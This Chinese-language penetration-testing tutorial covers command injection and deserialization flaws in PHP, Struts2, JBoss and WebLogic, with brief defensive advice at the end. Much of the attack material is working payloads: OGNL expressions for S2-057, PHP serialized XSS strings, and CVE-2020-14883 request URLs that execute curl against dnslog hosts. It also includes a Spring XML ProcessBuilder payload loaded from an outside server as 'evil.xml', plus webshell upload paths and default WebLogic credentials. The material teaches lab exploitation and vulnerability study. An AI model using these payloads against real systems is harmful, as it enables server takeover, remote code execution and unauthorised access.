關於命令執行與反序列化

目錄

• 命令與程式碼執行
  • 1、命令執行原理
  • 2、程式碼執行原理
  • 3、命令執行一般出現那些地方
  • 4、尋找命令執行漏洞
    • 黑盒：滲透測試
    • 白盒：程式碼審計
    • 知識補充：
  • 5、常用命令執行測試方法
  • 6、實戰測試及防範
    • 低階：原始碼審計
    • 中級：原始碼審計
    • 高階：原始碼審計
    • 完美級：原始碼審計
  • 例子：struts2典型的命令執行
• 反序列化
  • 1、什麼是反序列化
  • 2、反序列化漏洞產生的原理
  • 3、PHP反序列化漏洞實戰
  • 4、Java反序列化
    • 1、jboss反序列化漏洞還原
      • 補充：檔案上傳
    • 2、Weblogic反序列化漏洞還原
      • Weblogic 常見漏洞有那些
      • 例項舉例
        • 1、反序列化漏洞，工具直接漏洞利用：
        • 2、weblogic的未授權訪問：
        • 3、weblogic的任意檔案上傳漏洞操作：
        • 4、SSRF漏洞
  • 常見反序列化漏洞
  • 5、安全防範
    • 1、安全配置好php相關引數
    • 2、升級中介軟體
    • 3、嚴格控制傳入變數，嚴謹使用魔法函式

命令與程式碼執行

實際就是對要求輸入的值沒有嚴格控制，導致惡意命令執行了。

簡介：自己讀吧，官方的東西。

1、遠端系統命令執行
一般出現這種漏洞，是因為應用系統從設計上需要給使用者提供指定的遠端命令操作的介面，比如我們常見的路由器、防火牆、入侵檢測等裝置的web管理介面上
一般會給使用者提供一個ping操作的web介面，使用者從web介面輸入目標IP，提交後，後臺會對該IP地址進行一次ping測試，並返回測試結果。 而如果設計者在完成該功能時，沒有做嚴格的安全控制，則可能會導致攻擊者通過該介面提交“意想不到”的命令，從而讓後臺進行執行，從而控制整個後臺伺服器 。

現在很多的甲方企業都開始實施自動化運維,大量的系統操作會通過"自動化運維平臺"進行操作。 在這種平臺上往往會出現遠端系統命令執行的漏洞,不信的話現在就可以找你們運維部的系統測試一下,會有意想不到的"收穫"

2、遠端程式碼執行
同樣的道理,因為需求設計,後臺有時候也會把使用者的輸入作為程式碼的一部分進行執行,也就造成了遠端程式碼執行漏洞。 不管是使用了程式碼執行的函式,還是使用了不安全的反序列化等等。
因此，如果需要給前端使用者提供操作類的API介面，一定需要對介面輸入的內容進行嚴格的判斷，比如實施嚴格的白名單策略會是一個比較好的方法。
你可以通過“RCE”對應的測試欄目，來進一步的瞭解該漏洞。

1、命令執行原理

設計者在編寫程式碼時沒有做嚴格的安全控制，導致攻擊者通過介面或相關引數提交“意想不到”的命令，從而讓後臺進行執行，從而控制整個後臺伺服器 。

如開發者運用了system())函式等，沒做好限制，造成命令執行

2、程式碼執行原理

沒有對對介面輸入的內容進行嚴格判斷，造成攻擊者精心構造的程式碼非法執行。

如開發者運用了eval()函式等，沒做好限制，造成程式碼執行

3、命令執行一般出現那些地方

• 只要帶引數的地方都可能出現命令執行漏洞
• 常見的路由器、防火牆、入侵檢測、自動化運維平臺（可能可以執行命令的平臺）

4、尋找命令執行漏洞

黑盒：滲透測試

測帶引數的地方
例如：直接上命令，包頭
GET /xxe2/xml.php?id=1 whoami HTTP/1.1

白盒：程式碼審計

（1）執行系統命令: assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,``(反單引號）
（2）程式碼執行與加密: eval, assert, call_user_func,base64_decode, gzinflate, gzuncompress, gzdecode, str_rot13
（3）檔案包含與生成: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite
（4）.htaccess: SetHandler, auto_prepend_file, auto_append_file

總結：白盒就是看程式碼有什麼函式，如:exec、system、assert等，如果有這些地方，那麼對這些地方進行命令測試。

知識補充：

• shell_exec()函式，這是執行作業系統命令的命令執行

• eval()函式，這是執行php原始碼命令的程式碼執行

  兩個函式的作用域不同，能力也不一樣，shell_exec()函式更狠，執行作業系統的

5、常用命令執行測試方法

直接在原本命令值後面加入符號：

• &
• &&
• |
• ||

（一個&都要執行，前面錯了也執行，兩個&前面錯了後面就不執行了，基本就是萬用字元的使用）

6、實戰測試及防範

以DVWA為例：

低階：原始碼審計

沒有任何過濾，且呼叫的系統命令執行，那麼無論如何構造都能執行攻擊者的目的，

舉例：一個&

中級：原始碼審計

繞過比如用其他沒有黑名單限制的，一個&

高階：原始碼審計

注意圈出來的，黑名單中是一個|和空格，以及雙||。

繞過比如直接一個|不加空格

比如兩個|多加幾個空格

完美級：原始碼審計

Impossible級別的程式碼加入了Anti-CSRF token，同時對引數ip進行了嚴格的限制，只有諸如“數字.數字.數字.數字”的輸入才會被接收執行，因此不存在命令注入漏洞。

例子：struts2典型的命令執行

1、先找struts2框架的標誌就是action、do結尾的網站

2、可用web工具掃描站點列出可能存在的struts2漏洞

3、利用現有的工具對站點直接發起攻擊，如Railgun等

045、048、046這些都是高危漏洞

例項：

struts2命令執行漏洞攻防演示：
歷史漏洞：https://www.seebug.org/search/?keywords=struts2

（1）s2早期綜合利用工具
（2）s2-045漏洞還原
http://192.168.0.127:8080/struts2-showcase/showcase.action
（3）s2-048攻擊過程還原
struts2 S2-048遠端程式碼執行漏洞exp
C:\>struts048.py http://192.168.32.95:8080/struts2-showcase/integration/saveGangster.action "ipconfig"

（4）s2-052攻擊過程還原(針對版本struts 2.5-2.5.12)
Struts S2-052漏洞利用之Meterpreter（CVE-2017-9805）
https://www.cnblogs.com/Hi-blog/p/7510987.html

(5) S2-057漏洞復現（需要引數alwaysSelectFullNamespace被設定為true)
Apache struts2 namespace遠端命令執行—CVE-2018-11776(S2-057)漏洞復現
http://192.168.0.127:8080/struts2-showcase//actionChain1.action

參考文章：
https://blog.csdn.net/weixin_43625577/article/details/97111575
https://www.sinesafe.com/article/20180823/struts2057.html


s2-048注意事項：
首先在struts.xml配置檔案新增<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
其次修改配置檔案struts-actionchaining.xml 刪掉namespace屬性，或使用了萬用字元*
最後把type="chain"改成type="redirectAction"

攻擊payload:
http://192.168.0.127:8080/struts2-showcase/${(1+1)}/actionChain1.action

${#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime().exec('calc.exe')}

${
(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#a=@java.lang.Runtime@getRuntime().exec('id')).(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))}

反序列化

1、什麼是反序列化

就是把一個物件變成可以傳輸的字串，目的就是為了方便傳輸

java比較強大，一般都在java中，php很少

一般都是白盒測試程式碼審計出來的，黑盒不現實

為什麼反序列化：

（反序列化在大專案中就是為了節省資源）

PHP反序列化的時候，基本都是圍繞著serialize()，unserialize()這兩個函式。

首先序列化一下，有了序列化的值再進行反序列化

2、反序列化漏洞產生的原理

以php為例：

serialize() 和 unserialize() 在 PHP內部實現上是沒有漏洞的，之所以會產生反序列化漏洞是因為應用程式在處理物件、魔術函式以及序列化相關問題的時候導致的。

當傳給 unserialize() 的引數可控時，那麼使用者就可以注入精心構造的 payload。當進行反序列化的時候就有可能會觸發物件中的一些魔術方法，造成意想不到的危害。

PHP反序列化：（低版本不支援反序列化）
即：把物件變成字串方便傳輸
php兩個函式：serialize() 和 unserialize() 序列化函式和反序列化函式
當傳給 unserialize() 的引數可控時
這是一個接受序列化資料的api：

O:1:"S":1:{s:4:"test";s:29:"pikachu";}

替換為攻擊程式碼：

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

（通過（最好）程式碼審計的方式：
即開發者用到了序列化物件，即serialize() 這個函式
我們找出可控的變數：pikachu
然後通過將這個物件進行序列化內容，得到一串值，

O:1:"S":1:{s:4:"test";s:29:"pikachu";}

然後我們將這串值中的可控變數替換為我們的攻擊程式碼，（即得到序列化值，將正常的值替換為攻擊程式碼，讓之後執行替換的攻擊程式碼）

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

然後將這個內容交給客戶端，客戶端會進行反序列化，同時我們的攻擊程式碼也將被執行。
）

php裡面需要存在一些魔術函式，沒有的話就不存在

3、PHP反序列化漏洞實戰

->在php裡是呼叫物件方法很或者屬性的運算子。在一個類中，類的函式需要呼叫自身的方法或者屬性需要用$this->來呼叫，而在類的例項中，也是通過->來呼叫的，只是前面的變數不是$this

在理解這個漏洞前,你需要先搞清楚php中serialize()，unserialize()這兩個函式。

序列化serialize()
序列化說通俗點就是把一個物件變成可以傳輸的字串,比如下面是一個物件:

class S{
        public $test="pikachu";
    }
    $s=new S(); //建立一個物件
    serialize($s); //把這個物件進行序列化
    序列化後得到的結果是這個樣子的:O:1:"S":1:{s:4:"test";s:7:"pikachu";}
        O:代表object
        1:代表物件名字長度為一個字元
        S:物件的名稱
        1:代表物件裡面有一個變數
        s:資料型別
        4:變數名稱的長度
        test:變數名稱
        s:資料型別
        7:變數值的長度
        pikachu:變數值

反序列化unserialize()

就是把被序列化的字串還原為物件,然後在接下來的程式碼中繼續使用。

    $u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");
    echo $u->test; //得到的結果為pikachu
    

序列化和反序列化本身沒有問題,但是如果反序列化的內容是使用者可以控制的,且後臺不正當的使用了PHP中的魔法函式,就會導致安全問題

        常見的幾個魔法函式:
        __construct()當一個物件建立時被呼叫

        __destruct()當一個物件銷燬時被呼叫

        __toString()當一個物件被當作一個字串使用

        __sleep() 在物件在被序列化之前執行

        __wakeup將在序列化之後立即被呼叫

        漏洞舉例:

        class S{
            var $test = "pikachu";
            function __destruct(){
                echo $this->test;
            }
        }
        $s = $_GET['test'];
        @$unser = unserialize($a);

        payload:O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

注：如果php沒有相關的魔法函式，那麼也是沒有反序列化漏洞的。

當存在php反序列化漏洞的時候提交這個：

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

4、Java反序列化

（只要是java寫的都可能有反序列化漏洞，漏洞特別多，甚至比sql注入還多）

伺服器是jboss的上來就反序列化
伺服器是weblogic，埠一般是7001

1、jboss反序列化漏洞還原

jboss預設埠：8080 帳號和密碼admin

標誌性：

通過工具，直接漏洞利用嘗試：

補充：檔案上傳

2、Weblogic反序列化漏洞還原

預設埠7001，帳號和密碼都是weblogic

Weblogic 常見漏洞有那些

弱口令、Java 反序列化漏洞操作（CVE-2018-2628）、
任意檔案上傳漏洞操作（CVE-2018-2894）、XML Decoder 反序列化漏洞操作（CVE-2017-10271）、SSRF 漏洞（需要安裝Weblogic時選擇UDDI元件）、反序列化漏洞（CVE-2019-2725 參考https://www.0dayhack.com/post-883.html）

(1)、弱口令    帳號和密碼都是weblogic 
(2)、反序列化漏洞
(3)、任意檔案上傳漏洞操作（CVE-2018-2894）
未授權訪問路徑:http://192.168.0.127:7001/ws_utc/config.do
Weblogic預設路徑：
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我們改成以下路徑
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
木馬上傳上去之後，訪問方式如下：
http://192.168.0.127:7001/ws_utc/css/config/keystore/1604376329959_whoami.jsp
1604376329959_whoami.jsp
http://192.168.18.198:7001/ws_utc/css/config/keystore/1609327480415_whoami.jsp

(4)、SSRF 漏洞（可參考：https://www.jianshu.com/p/97b157a20108）

例項舉例

1、反序列化漏洞，工具直接漏洞利用：

2、weblogic的未授權訪問：

http://192.168.18.107:7001/console/css/%252e%252e%252fconsole.portal

發現我們現在是低許可權的使用者，無法安裝應用,所以組合下面的CVE-2020-14883 可以繼續利用

CVE-2020-14883：允許後臺任意使用者通過HTTP協議執行任意命令

遠端攻擊者可以構造特殊的HTTP請求，在未經身份驗證的情況下接管 WebLogic Server Console ，並在 WebLogic Server Console 執行任意程式碼。

這個漏洞的利用方式有兩種，一是通過com.tangosol.coherence.mvel2.sh.ShellSession，二是通過com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。

方法一：

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27curl%20pyxgs4.dnslog.cn%27);%22)

成功執行：

方法二：

一種更為通殺的方法，對於所有Weblogic版本均有效。

但是必須可以出網，要可以訪問到惡意的xml

首先需要構造一個XML檔案，並將其儲存外網（漏洞機或者可訪問的一臺機子上）上，就是要有外網ip

<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
    <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
        <constructor-arg>
          <list>
            <value>bash</value>
            <value>-c</value>
            <value><![CDATA[curl 6zu4z2.dnslog.cn]]></value>
          </list>
        </constructor-arg>
    </bean>
</beans>

然後通過如下URL，即可讓Weblogic載入這個XML，並執行其中的命令：

http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(%22http://64.254.68.38:8085/weblogic/evil.xml%22)

成功回顯

3、weblogic的任意檔案上傳漏洞操作：

（CVE-2018-2894）

未授權訪問路徑:http://192.168.18.107:7001/ws_utc/config.do
Weblogic預設路徑：
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\tmp\WSTestPageWorkDir
我們改成以下路徑
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\wstestclient\i7n5e1\war\css
木馬上傳上去之後，訪問方式如下：
http://192.168.0.127:7001/ws_utc/css/config/keystore/1604376329959_whoami.jsp
1604376329959_whoami.jsp

http://192.168.18.198:7001/ws_utc/css/config/keystore/1609327480415_whoami.jsp

提交的時候抓包：

訪問：預設格式是固定的

http://192.168.18.107:7001/ws_utc/css/config/keystore/1610440972928_whoami.jsp

4、SSRF漏洞

常見反序列化漏洞

s2-005、s2-009、s2-013、s2-016、s2-019、devmode、s2-032、s2-037、s2-045、s2-048、s2-052、s2-057

5、安全防範

1、安全配置好php相關引數

通過Php配置檔案裡面有個disable_functions = 配置，這個禁止某些php函式，
伺服器便是用這個來禁止php的執行命令函式。

例如：
disable_functions =system,passthru,shell_exec,exec,popen
便禁止了用這些函式來執行系統命令

2、升級中介軟體

3、嚴格控制傳入變數，嚴謹使用魔法函式